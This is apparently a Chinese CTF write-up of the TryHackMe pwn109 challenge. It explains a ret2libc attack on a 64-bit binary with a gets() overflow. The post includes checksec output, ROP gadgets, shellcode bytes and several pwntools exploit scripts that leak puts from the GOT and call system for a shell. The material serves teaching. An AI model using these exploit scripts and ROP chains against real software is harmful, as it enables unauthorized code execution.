pwn109-ret2libc

admin 2024年11月20日14:14:34评论6 views字数 7432阅读24分46秒阅读模式

pwn109-ret2libc

checksec

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

可能要GOT,

但是多了两个不知道的参数

SHSTK和IBT

运行情况

pwn109-ret2libc

没回显,但是会溢出

IDA分析

main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  setup(argc, argv, envp);
  banner();
  puts(aThisTimeNo);
  return gets(v4);
}

有其它函数比如__libc_csu_init

gdb调试

import sys
from pwn import*
from struct import*

exe ='./pwn109'
context.binary = ELF(exe,checksec=False)

payload =b"A"*40+p64(0x4011f2)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.recvline()
p.interactive()

这样是可以又跳转到main函数

pwn109-ret2libc

如果可以和pwn104一样就好了,返回地址跳转回变量地址,

shellcode+b"A"*(40-len(shellcode))+p64(buf)

那么怎么得到变量地址,因为没有PIE所以可以直接得到吧

shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'

payload=shellcode+b"A"*(40-len(shellcode))+p64(0x7fffffffdd90)

好吧,这个变量地址会变

现在我有一个能输入两次的代码了

import sys
from pwn import *
from struct import *

exe = './pwn109'
context.binary = ELF(exe,checksec=False)

payload = b"A"*40+p64(0x4011f7)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.interactive()

但这样貌似会覆盖原地址的值

pwn109-ret2libc

答案

看wp1,

它的整个目的,貌似是通过泄露一些got表中的函数地址,去确认目标用了什么版本的libc,通过这个libc基址计算出system函数的地址

我用了它这个wp1还是失败,最终看另一篇文章https://cloud.tencent.com/developer/article/2384867,构造完整exp如下:

import sys
from pwn import*
from struct import*

exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)

#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally

io=process(exe)
#io=gdb.debug(exe,"b main")
RET = p64(0x40101a)# for stack alignment
pop_rdi_ret = p64(0x4012a3)
main_addr=p64(binary.symbols.main)
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=main_addr
io.recvuntil("Go ahead")
io.recv()

io.sendline(payload)
#output=io.recvall().split(b"n")
output=io.recvline().split(b"n")
#print(output)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))

puts_static_addr=libc.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
print(str(hex(libc.symbols.puts)))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
sys_addr=libc.symbols['system']
print("system:{}".format(str(hex(sys_addr))))
#print(payload2)
io.sendline(payload2)

io.interactive()

过程分析

https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc

这里牵扯到puts函数,它只要一个参数

32位程序的函数参数通过栈传参,而64位是寄存器传参,为了给寄存器赋值(大于6个才会入栈),要用到ROPgadget

寄存器的6个参数传参顺序:rdi->rsi->rdx->rcx->r8->r9

puts函数只有一个参数,那就用rdi就行

ROPgadget --binary pwn109 --depth 12 >gadgets.txt

0x00000000004012a3 : pop rdi ; ret
....
0x000000000040101a : ret

得到一个pop rdi的地址,根据wp1的文章,这样写wp:

import sys
from pwn import*
from struct import*

exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)

#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally

io=process(exe)

RET =0x40101a# for stack alignment
pop_rdi_ret = p64(0x4012a3)

exploit =b""
exploit +=b"x90"*40
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=exploit+pop_rdi_ret+got_puts_addr+plt_puts_addr

io.sendline(payload)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))

io.interactive()

这样泄露了一个puts函数的地址,

0x7fe62ca83760

为了确认当前libc版本可以再来2个函数,GOT表就那三个

got_gets_addr=p64(binary.got.gets)
got_setvbuf_addr=p64(binary.got.setvbuf)
...
payload+=pop_rdi_ret+got_gets_addr+plt_puts_addr
payload+=pop_rdi_ret+got_setvbuf_addr+plt_puts_addr

leaked_gets_address=u64(output[1].ljust(8,b"x00"))
leaked_setvbuf_address=u64(output[2].ljust(8,b"x00"))
print("Leaked gets address :{}".format(str(hex(leaked_gets_address))))
print("Leaked setvbuf address :{}".format(str(hex(leaked_setvbuf_address))))

pwn109-ret2libc

那么根据泄露的地址去找对应版本的库,下载下来,脚本进行引用,但这里我查的是kali本地的libc,所以不用导入,如果是获取远程shell,就需要这种步骤得到远程版本的libc

pwn109-ret2libchttps://libc.rip/
pwn109-ret2libc

i386是32位程序用的,amd64是64位程序用

之后为了能system呢,需要再返回一次main函数

调试看它过程大概就这个样子

pwn109-ret2libc

第一次输入如下:

payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=pop_rdi_ret+got_gets_addr+plt_puts_addr
payload+=pop_rdi_ret+got_setvbuf_addr+plt_puts_addr

每一次在4012a3的地址上,有三次改变

分别是:puts@put/got/setvbuf

再到main,执行第二条payload

payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(leaked_gets_address+0x1a7e43)
payload2+=p64(leaked_gets_address+0x528f0)

pwn109-ret2libc

这个后面卡住了

  mov    qword ptr [r15 + 8], rdx            <Cannot dereference [8]>

不知道什么原因,最后看另一篇ret2libc的例子,根据这篇文章按理说,exp最终应该是这样子:

1.泄露puts地址

2.引入libc文件,得到libc基址,得到libc的system函数地址并调用

import sys
from pwn import*
from struct import*

exe ='./pwn109'
binary = context.binary = ELF(exe,checksec=False)

#libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc = binary.libc # use it locally

io=process(exe)
#io=gdb.debug(exe,"b main")
RET = p64(0x40101a)# for stack alignment
pop_rdi_ret = p64(0x4012a3)
main_addr=p64(binary.symbols.main)
#exploit += p64(RET)
#exploit += p64(POP_RDI)
plt_puts_addr=p64(binary.plt.puts)
got_puts_addr=p64(binary.got.puts)
payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr
payload+=main_addr
io.recvuntil("Go ahead")
io.recv()

io.sendline(payload)
#output=io.recvall().split(b"n")
output=io.recvline().split(b"n")
print(output)
leaked_puts_address=u64(output[0].ljust(8,b"x00"))
print("Leaked puts address :{}".format(str(hex(leaked_puts_address))))

puts_static_addr=binary.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
print(payload2)
io.sendline(payload2)

io.interactive()

后来发现了个问题,本地进行 sys_addr=binary.symbols['system']时,它找不到system函数

仔细看了看代码

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
或者
libc=binary.libc

我才发现上面这行命令没有使用过,所以

print(str(hex(libc.symbols['system']))) #打印出来是528f0,和查到的一样

所以要更改的代码是这一段,这一块都用的是libc库的地址,binary是用的程序里的

至于system和/bin/bash呢,也可以不用手输地址,直接libc.symbols.system即可获取

...
#puts_static_addr=binary.symbols.puts
puts_static_addr=libc.symbols.puts
print("puts_static_addr:{}".format(str(hex(puts_static_addr))))
libc_base=leaked_puts_address-puts_static_addr
print("libc_base:{}".format(str(hex(libc_base))))
payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)
print(payload2)
io.sendline(payload2)

io.interactive()

pwn109-ret2libc

这样才符合这篇文章所说的,libc基址的后三位是0才对,最终拿到shell

plt

过程链接表,调用function@plt相当于调用函数本身

https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got

https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

https://blog.csdn.net/weixin_46521144/article/details/115378030

总结

也是栈溢出,NX开启

64位程序函数传参,主要是6个寄存器rdi->rsi->rdx->rcx->r8->r9,之后再考虑栈

ret2libc,也就是利用libc库所自带的system函数,通过引入libc,计算出libc基址,进而得到system地址进行调用

payload=b"A"*40+pop_rdi_ret+got_puts_addr+plt_puts_addr+main_address

这种构造的格式叫做:溢出+pop_rdi_ret+参数+函数地址+函数返回地址

原理嘛,理解不了,就记着这种利用方式吧,这种方式叫 ROP技术,利用参数

payload2=b"A"*40
payload2+=RET+pop_rdi_ret+p64(libc_base+0x1a7e43)
payload2+=p64(libc_base+0x528f0)

RET是为了解决栈对齐问题

参考

wp1:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/

wp2:https://razvioverflow.github.io/tryhackme/pwn101.html

64位_ret2libc例子山深有杏,https://cloud.tencent.com/developer/article/2384867

原文始发于微信公众号(羽泪云小栈):pwn109-ret2libc

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日14:14:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pwn109-ret2libchttps://cn-sec.com/archives/3412790.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息